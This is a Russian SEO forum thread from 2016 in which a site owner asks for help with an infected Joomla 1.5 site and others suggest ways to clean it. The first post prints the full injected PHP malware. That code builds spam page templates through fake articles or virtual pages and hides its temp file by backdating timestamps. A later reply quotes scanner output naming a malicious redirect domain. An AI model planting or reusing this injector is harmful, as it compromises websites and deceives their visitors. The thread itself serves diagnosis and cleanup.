Перейти к содержимому

MOAB

- - - - -

Какая-то зараза с сайтами на joomla


  • Войдите, чтобы ответить
Сообщений в теме: 21

#1 Kater

Kater

    Продвинутый

  • Основатель
  • PipPipPip
  • 190 сообщений
105
  • ИзНовосибирск

Отправлено 07 Сентябрь 2016 - 06:19

Приветствую всех.

Сайт на joomla 1.5.26

Вылезла пакость ввиде кода в шапке сайта. И сам сайт стал в кракозябрах. Не пойму откуда это лезет. Вирус или сбой какой-то. Ввел кусок кода в поиск - дофига сайтов сейчас весит с такой же проблемой.

Вот сам код который грузится на сайте:

if (strpos($_SERVER['REQUEST_URI'], 'saveyourfuckingtemplate') !== false) { error_reporting(0); ini_set('display_errors', 0); set_time_limit(0); $context = stream_context_create(array( 'http' => array('ignore_errors' => true), )); $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/?gimmeyourfuckingtemplate', false, $context); if ( !preg_match('/thefuckingtitle\d+/', $tpl) && !preg_match('/thefuckingcontent\d+/', $tpl) && (strpos($tpl, '[TITLE]') === false) && (strpos($tpl, '[CONTENT]') === false) ) { $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/gimmeyourfuckingtemplate', false, $context); } if ( !preg_match('/thefuckingtitle\d+/', $tpl) && !preg_match('/thefuckingcontent\d+/', $tpl) && (strpos($tpl, '[TITLE]') === false) && (strpos($tpl, '[CONTENT]') === false) ) { $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/gimmeyourfuckingtemplate/', false, $context); } if ( preg_match('/thefuckingtitle\d+/', $tpl) || preg_match('/thefuckingcontent\d+/', $tpl) || (strpos($tpl, '[TITLE]') !== false) || (strpos($tpl, '[CONTENT]') !== false) ) { $tpl = str_replace('http://[PAGE_URL]', '[PAGE_URL]', $tpl); $tpl = preg_replace('#]+?alternate[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?archives[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?bookmark[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?external[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?first[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?help[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?last[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?license[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?next[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?nofollow[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?noreferrer[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?pingback[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?prefetch[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?prev[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?search[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?sidebar[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?up[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?canonical[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?robots[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?charset[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?content-type[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?og:[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?viewport[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?keywords[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?description[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?google[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?yandex[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?bing[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?slurp[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?refresh[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?referer[^>]+?>#is', '', $tpl); $tpl = preg_replace('##is', '', $tpl); $tpl = preg_replace('#http://www.google-analytics.com/#is', 'http://'.$_SERVER['HTTP_HOST'].'/', $tpl); $tpl = preg_replace('#]*>[^<]*?#is', '', $tpl); $tpl = preg_replace('#thefuckingtitle\d+#is', '[TITLE]', $tpl); $tpl = preg_replace('#thefuckingcontent\d+#is', '[CONTENT]', $tpl); $tpl = preg_replace('#
\[CONTENT\]
#is', '[CONTENT]', $tpl); $new_tags = ' '; $tpl = preg_replace('##is', $new_tags.'', $tpl); } $localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath)); $tpl_path = sys_get_temp_dir()."/SESS_4f2afc9c4099ee1f39c9f551123e54bd"; if (!empty($tpl) && file_put_contents($tpl_path, $tpl)) { echo 'Success!'; } else { echo 'failed'; } touch($tpl_path, time() - mt_rand(60*60*24*30, 60*60*24*365)); touch(dirname($tpl_path), time() - mt_rand(60*60*24*30, 60*60*24*365)); exit; } if (strpos($_SERVER['REQUEST_URI'], 'gimmeyourfuckingtemplate') !== false) { error_reporting(0); ini_set('display_errors', 0); set_time_limit(0); $localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath)); if (is_dir($root_path.'/libraries/joomla/application/')) { $alias = 'fucking-alias-is-here'.mt_rand(1, 10000000000); $database = JFactory::getDBO(); $item = new stdClass; $item->id = null; $item->title = 'thefuckingtitle'.mt_rand(1, 10000000000); $item->introtext = ''; $item->fulltext = 'thefuckingcontent'.mt_rand(1, 10000000000); $item->state = 1; $item->access = 1; $item->created_by = 62; $item->created = '2011-11-11 11:11:11'; $item->publish_up = '2011-11-11 11:11:11'; $item->alias = $alias; if (!$database->insertObject('#__content', $item, 'id')) { echo $database->stderr(); } $url = 'http://'.$_SERVER['HTTP_HOST'].'/index.php?option=com_content&view=article&id='.$item->id; $data = file_get_contents($url); $data = preg_replace('#[\'"][^\'"]+?'.$alias.'[^\'"]+?[\'"]#is', '"[PAGE_URL]"', $data); $data = preg_replace('#Friday, 11 November 2011 11:11#is', '[DATE]', $data); $data = preg_replace('#11 November 2011 11:11#is', '[DATE]', $data); $data = preg_replace('#11 November 2011#is', '[DATE]', $data); $data = preg_replace('#11 November 2011#is', '[DATE]', $data); $data = preg_replace('#11.11.2011#is', '[DATE]', $data); $data = preg_replace('#2011-11-11#is', '[DATE]', $data); $data = preg_replace('#2011.11.11#is', '[DATE]', $data); echo $data; exit; } if (is_dir($root_path.'/wp-admin/includes/')) { if (!class_exists('THEVirtualPage')) { class THEVirtualPage { private $slug = NULL; private $title = NULL; private $content = NULL; private $author = NULL; private $date = NULL; private $type = NULL; public function __construct($args) { $this->slug = 'slug'; $this->title = 'thefuckingtitle'.mt_rand(1, 10000000000); $this->content = 'thefuckingcontent'.mt_rand(1, 10000000000); $this->author = 1; $this->date = current_time('mysql'); $this->dategmt = current_time('mysql', 1); $this->type = 'page'; add_filter('the_posts', array(&$this, '_virtualPage')); } // filter to create virtual page content public function _virtualPage($posts) { global $wp, $wp_query; //create a fake post intance $post = new stdClass; // fill properties of $post with everything a page in the database would have $post->ID = "-1"; // use an illegal value for page ID $post->post_author = $this->author; // post author id $post->post_date = $this->date; // date of post $post->post_date_gmt = $this->dategmt; $post->post_content = $this->content; $post->post_title = $this->title; $post->post_excerpt = ''; $post->post_status = 'publish'; $post->comment_status = 'closed'; // mark as closed for comments, since page doesn't exist $post->ping_status = 'closed'; // mark as closed for pings, since page doesn't exist $post->post_password = ''; // no password $post->post_name = $this->slug; $post->to_ping = ''; $post->pinged = ''; $post->modified = $post->post_date; $post->modified_gmt = $post->post_date_gmt; $post->post_content_filtered = ''; $post->post_parent = 0; $post->guid = get_home_url('/' . $this->slug); $post->menu_order = 0; $post->post_type = $this->type; $post->post_mime_type = ''; $post->comment_count = 0; // set filter results $posts = array($post); // reset wp_query properties to simulate a found page $wp_query->is_page = TRUE; $wp_query->is_singular = TRUE; $wp_query->is_home = FALSE; $wp_query->is_archive = FALSE; $wp_query->is_category = FALSE; unset($wp_query->query['error']); $wp_query->query_vars['error'] = ''; $wp_query->is_404 = FALSE; return ($posts); } } } function _create_virtual() { $args = array('slug' => 'slug', 'title' => '', 'content' => '' ); $pg = new THEVirtualPage($args); } function change_wp_44_title( $title ) { global $data; $title['title'] = 'thefuckingtitle'.mt_rand(1, 10000000000); $title['page'] = ''; $title['tagline'] = ''; $title['site'] = ''; return $title; } function change_wp_40_title( $title ) { return 'thefuckingtitle'.mt_rand(1, 10000000000); } function _change_page_url( ) { return '[PAGE_URL]'; } add_filter( 'the_permalink', '_change_page_url'); add_action('init', '_create_virtual'); add_filter( 'document_title_parts', 'change_wp_44_title' ); add_filter( 'wp_title', 'change_wp_40_title' ); } }

Сайт: рабочиймир.рф . Закрыл пока его, но весь косяк видно

#2 vvovvo

vvovvo

    Новенький

  • Новичок
  • Pip
  • 17 сообщений

Отправлено 07 Сентябрь 2016 - 10:21

В сайтах на joomla я не силен.
Но, думаю причины могут быть такие:
- вы что-то, пардон, нумудачили в коде и теперь вылела такая бяка. Попробуйте восстановить все из бэкапа.
- или ваш сайт взломали (не лишним глянуть в Серч Консоли раздел "Проблемы безопасности).

Кроме того:

Опасный код на странице:
CMW-HTML-97001-adult... free xxx porn pics
http://xn--80acvaeslnh9d.xn--p1ai/
blacklisted...ion: http://bokotraffic.com
http://xn--80acvaeslnh9d.xn--p1ai/

(опасный редирект) xn--80acvaeslnh9d.xn--p1ai » bokotraffic.com/2.html?seoref=http%3A%2F%2F...
Десктопный браузер, Поисковый редирект
(опасный редирект) xn--80acvaeslnh9d.xn--p1ai » bokotraffic.com/2.html?seoref=http%3A%2F%2F...
Мобильный браузер, Поисковый редирект

#3 Valek

Valek

    ВСтатусе

  • Активный участник
  • PipPipPipPip
  • 1 437 сообщений
2 054
  • ИзРоссии :(

Отправлено 07 Сентябрь 2016 - 11:29

По жумле это к isay777. Он по ней спец.

А так выпрямлять шаблоны и искать заразу, может в закодированном виде быть. Еще версия старая там дыр..
С джумлой это обычное дело

))))

Цитата

'#thefuckingtitle\d+#is, '#thefuckingcontent\d+#is' 'fuckingtemplate' fucking-alias-is-here

Причем от это заразы еще вордпресс заражается

В топе Изображение
Отличный хостинг низкие цены, высокое качество и SSL Ссылка на сайт

#4 Kater

Kater

    Продвинутый

  • Основатель
  • PipPipPip
  • 190 сообщений
105
  • ИзНовосибирск

TC Отправлено 07 Сентябрь 2016 - 12:13

Клиентский сайт в топе )))

Весь сайт перерыл, нигде не могу найти эту фигню

#5 MiXa

MiXa

    Ненавижу белых мух и твердую воду

  • Основатель
  • PipPipPipPipPip
  • 1 571 сообщений
1 659
  • ИзМосква

Отправлено 07 Сентябрь 2016 - 14:32

Показал челу, который раньше занимался джумлами:

Цитата

зверье в БД, пускай базу из бэкапа восстановят и прогони ai-bolit'ом

Меня раньше устраивал хостинг ISP, теперь совсем не устраивает.
И да, SEO и продвижением сайтов не занимаюсь, но душевный СЕО форум рекомендовать могу.

#6 Kater

Kater

    Продвинутый

  • Основатель
  • PipPipPip
  • 190 сообщений
105
  • ИзНовосибирск

TC Отправлено 07 Сентябрь 2016 - 15:13

Просмотр сообщенияMiXa (07 Сентябрь 2016 - 14:32) писал:

Показал челу, который раньше занимался джумлами:
Бэкап восстановил за разные месяцы, но не помогло. Это не там кажется, т.к. в самой базе даже текст на кириллице. Да и я пробовал удалять все файлы с сервера, заливать бекап файлов, сайт работает нормально, но через пару дней опять та же самая картина.
Пароли уже везде по 10 раз поменял.

#7 angr

angr

    Мастер

  • S.E.Syndicate
  • PipPipPipPip
  • 692 сообщений
1 109

Отправлено 07 Сентябрь 2016 - 15:26

гдето шелл припрятался

#8 Kater

Kater

    Продвинутый

  • Основатель
  • PipPipPip
  • 190 сообщений
105
  • ИзНовосибирск

TC Отправлено 07 Сентябрь 2016 - 17:34

Я вот не могу понять откуда этот код грузится и почему кракозябры на сайте, хотя кодировка в БД нормальная..

#9 azsx

azsx

    Почетный

  • Основатель
  • PipPipPipPipPip
  • 5 087 сообщений
3 222

Отправлено 07 Сентябрь 2016 - 17:57

надо накатить рабочую бд и файлы. Снять мд5 суммы файлов. Подождать пока сайт завирусуется, снять мд5 суммы файлов. Найти проблемные файлы, время их правки, посмотреть по логам апача кто обращался в этот момент.
Кодировка - кракозяблы, как я гадаю в хтмл не ту кодировку выводят? Надо посмотреть что меняется в шаблоне от оригинала.
КЭП.
зы
Если все пароли меняли, то это настолько часто где-то скачанный шаблон или какой-то модуль... Что проще всё левое временно поотключать.

#10 snatch

snatch

    Почетный

  • Активный участник
  • PipPipPipPipPip
  • 1 514 сообщений
1 812
  • ИзFuturama

Отправлено 07 Сентябрь 2016 - 18:28

У вас возможны 3 ватианта (но это однозначно взлом):
1. Стоит варезный шаблон, компонент, модуль, плагин, в файлах которого имеется шелл
2. Увели пароль, тогда проверяете компы всех кто имеет доступ к сайту и на хостинг, меняете пароли и тд по списку
3. Версия cms уже достаточно старая, энтузиасты со времени выхода вашей версии сайта нашли 100500 уязвимостей в движке и с успехом их используют, так что по возможности обновится и следить за безопасностью.
Все остальное уже наверное можно не рассматривать.

Просмотр сообщенияKater сказал:

Я вот не могу понять откуда этот код грузится
смотрите логи, вам верно подсказали (вероятнее всего шелл)

Просмотр сообщенияKater сказал:

и почему кракозябры на сайте, хотя кодировка в БД нормальная..
по тому что в php html файлы жумлы жопорукие негодяи записали свой вредоносный код и сделали это коряво, могли такого записать что сайт вообще бы поламался.

#11 Kater

Kater

    Продвинутый

  • Основатель
  • PipPipPip
  • 190 сообщений
105
  • ИзНовосибирск

TC Отправлено 07 Сентябрь 2016 - 18:41

Просмотр сообщенияazsx (07 Сентябрь 2016 - 17:57) писал:

надо накатить рабочую бд и файлы. Снять мд5 суммы файлов. Подождать пока сайт завирусуется, снять мд5 суммы файлов. Найти проблемные файлы, время их правки, посмотреть по логам апача кто обращался в этот момент.
Кодировка - кракозяблы, как я гадаю в хтмл не ту кодировку выводят? Надо посмотреть что меняется в шаблоне от оригинала.
КЭП.
зы
Если все пароли меняли, то это настолько часто где-то скачанный шаблон или какой-то модуль... Что проще всё левое временно поотключать.

Спасибо. Завтра попробую разобраться как снять эту сумму.

Шаблон свой, а вот модуль скорее всего, раз столько сайтов висит в выдаче с такой ерундой.

Просмотр сообщенияsnatch (07 Сентябрь 2016 - 18:28) писал:

У вас возможны 3 ватианта (но это однозначно взлом):
1. Стоит варезный шаблон, компонент, модуль, плагин, в файлах которого имеется шелл
2. Увели пароль, тогда проверяете компы всех кто имеет доступ к сайту и на хостинг, меняете пароли и тд по списку
3. Версия cms уже достаточно старая, энтузиасты со времени выхода вашей версии сайта нашли 100500 уязвимостей в движке и с успехом их используют, так что по возможности обновится и следить за безопасностью.
Все остальное уже наверное можно не рассматривать.

смотрите логи, вам верно подсказали (вероятнее всего шелл)

по тому что в php html файлы жумлы жопорукие негодяи записали свой вредоносный код и сделали это коряво, могли такого записать что сайт вообще бы поламался.
Буду пробовать.
Откатывал сайт до бекапов 12 года, один фиг ломают через пару дней.. :/

#12 azsx

azsx

    Почетный

  • Основатель
  • PipPipPipPipPip
  • 5 087 сообщений
3 222

Отправлено 07 Сентябрь 2016 - 19:38

kater, зато в яндексе по запросу saveyourfuckingtemplate вы всех негодяев забодали и в топ 1.
Рубите бабки :)
зы
рискну погадать, что вам лучше пройтись по всем каталогам руками в баше
md5sum * > md5.sum
тогда вам будет намного понятнее, где чо не так.
Но ваще в сети много способов на баше и пхп всё перебрать.
Антивирус на такой основе кажись айбоит называется, для никсов.

#13 snatch

snatch

    Почетный

  • Активный участник
  • PipPipPipPipPip
  • 1 514 сообщений
1 812
  • ИзFuturama

Отправлено 07 Сентябрь 2016 - 20:17

Просмотр сообщенияazsx сказал:

Антивирус на такой основе кажись айбоит называется, для никсов.
он и под виндой работает, отличная штука

#14 Valek

Valek

    ВСтатусе

  • Активный участник
  • PipPipPipPip
  • 1 437 сообщений
2 054
  • ИзРоссии :(

Отправлено 07 Сентябрь 2016 - 23:04

Просмотр сообщенияKater сказал:

Откатывал сайт до бекапов 12 года, один фиг ломают через пару дней.. :/
Дырка действующая, где-то или модуль с шеллом. Но точно, что зараза сидит в каком-то 'fuckingtemplate' )))

Еще как вариант криворукий хостинг. Вирус гуляет по всей ноде спокойно
Отличный хостинг низкие цены, высокое качество и SSL Ссылка на сайт

#15 Kater

Kater

    Продвинутый

  • Основатель
  • PipPipPip
  • 190 сообщений
105
  • ИзНовосибирск

TC Отправлено 08 Сентябрь 2016 - 08:21

Хостинг инфобокс.))

Айболитом проверял в первую очередь, но он ругается на файлы где ничего нет. Скачивал новый дистриб этой версии и срвнивал с ним.

В общем накачу бекапы, и отключу все модули, и буду наблюдать

#16 isay777

isay777

    смурфосеошнег

  • Модератор
  • PipPipPipPipPip
  • 2 283 сообщений
2 427
  • ИзМосква

Отправлено 08 Сентябрь 2016 - 10:07

Просмотр сообщенияKater (07 Сентябрь 2016 - 17:34) писал:

Я вот не могу понять откуда этот код грузится и почему кракозябры на сайте, хотя кодировка в БД нормальная..

Первым делом проверить index.php сайта и шаблона.
Вторым htacces

Ну и да Айболит хоть и ругается, но вполне может и бяку найти надо проверить все.

1,5 - дырява до не возможности. Надо на 3,6.
Еще момент что это грузит какой-либо плагин (модуль) самые какашечные плагины попробуй выключить.
мое портфолио - Дешевый и надежный хостинг c SSD --- СНИМАЕМ ПОЗИЦИИ ЧЕТКО

#17 snatch

snatch

    Почетный

  • Активный участник
  • PipPipPipPipPip
  • 1 514 сообщений
1 812
  • ИзFuturama

Отправлено 08 Сентябрь 2016 - 19:57

Просмотр сообщенияisay777 сказал:

1,5 - дырява до не возможности. Надо на 3,6.
3,6 тоже дырява, нужно только чуть чуть времени дать пытливым умам и они дырок найдут не меньше :)
нельзя поставить почти коробочный вариант фришного движка и забыть о нем, обязательно ломонут, на фришных движках либо постоянно обновляться нужно, либо самому все дыры залатать, конечно если только есть такие способности

#18 azsx

azsx

    Почетный

  • Основатель
  • PipPipPipPipPip
  • 5 087 сообщений
3 222

Отправлено 08 Сентябрь 2016 - 20:30

snatch, рискну с вами не согласиться. cms достаточно стойки к атакам хакеров. А вот некоторые модули и темы, они иногда прямо создаются, только чтобы в них бэкдор спрятать.
зы

Цитата

В общем накачу бекапы, и отключу все модули, и буду наблюдать
раз 403 отдает, значит отключение модулей и темы не помогло. Или отключил, без удаления.

#19 snatch

snatch

    Почетный

  • Активный участник
  • PipPipPipPipPip
  • 1 514 сообщений
1 812
  • ИзFuturama

Отправлено 08 Сентябрь 2016 - 23:52

Просмотр сообщенияazsx сказал:

snatch, рискну с вами не согласиться. cms достаточно стойки к атакам хакеров.
Может быть и стойкие мне сломать точно не под силу, в php смыслю ровным счетом ни чего. Однако каждый (ну или почти каждый) релиз группа разработчиков рапортует о том что исправлены такие то ошибки и уязвимости, это те уязвимости которые массово начали юзать, но есть ведь и единичные случаи которые до разрабов не дошли.

#20 AdisPrint

AdisPrint

    Почетный

  • Активный участник
  • PipPipPipPipPip
  • 2 782 сообщений
2 080

Отправлено 09 Сентябрь 2016 - 10:26

Просмотр сообщенияsnatch сказал:

Однако каждый (ну или почти каждый) релиз группа разработчиков рапортует о том что исправлены такие то ошибки и уязвимости
Ну это же не значит, что мол все, все ошибки исправлены, все уязвимости найдены, тушите свет, расходитесь, вечеринка закончилась. Это вечный процесс. Любая группа разработчиков, выпуская любой релиз всегда рапортует об исправлении ошибок. Но как вы сами заметили, это не значит, что все ошибки были найдены. Или что в процессе исправления одних ошибок, не были созданы другие.
Это как у замков. Нет абсолютно надежных замков, любой замок можно вскрыть, просто за разное время.
СНПЧ, чернила, картриджи, фотобумага для принтеров и МФУ - AdisPrint.ru




Количество пользователей, читающих эту тему: 6

0 пользователей, 6 гостей, 0 анонимных



© 2020 SMO&SEO форум «WEBIMHO» — продвижение и создание сайтов, интернет-маркетинг

По вопросам рекламы на форуме и цены на рекламу
Все материалы SEO форума разрешены к копированию только с установкой гиперактивной ссылки на webimho.ru,
тем, кто этого не сделает, мы оторвем руки и ноги и поменяем местами,
а когда выйдем из тюрьмы, опять оторвем и опять поменяем.


Россия, г. Москва

Мы в соцсетях: twitter | вконтакте | facebook | livejournal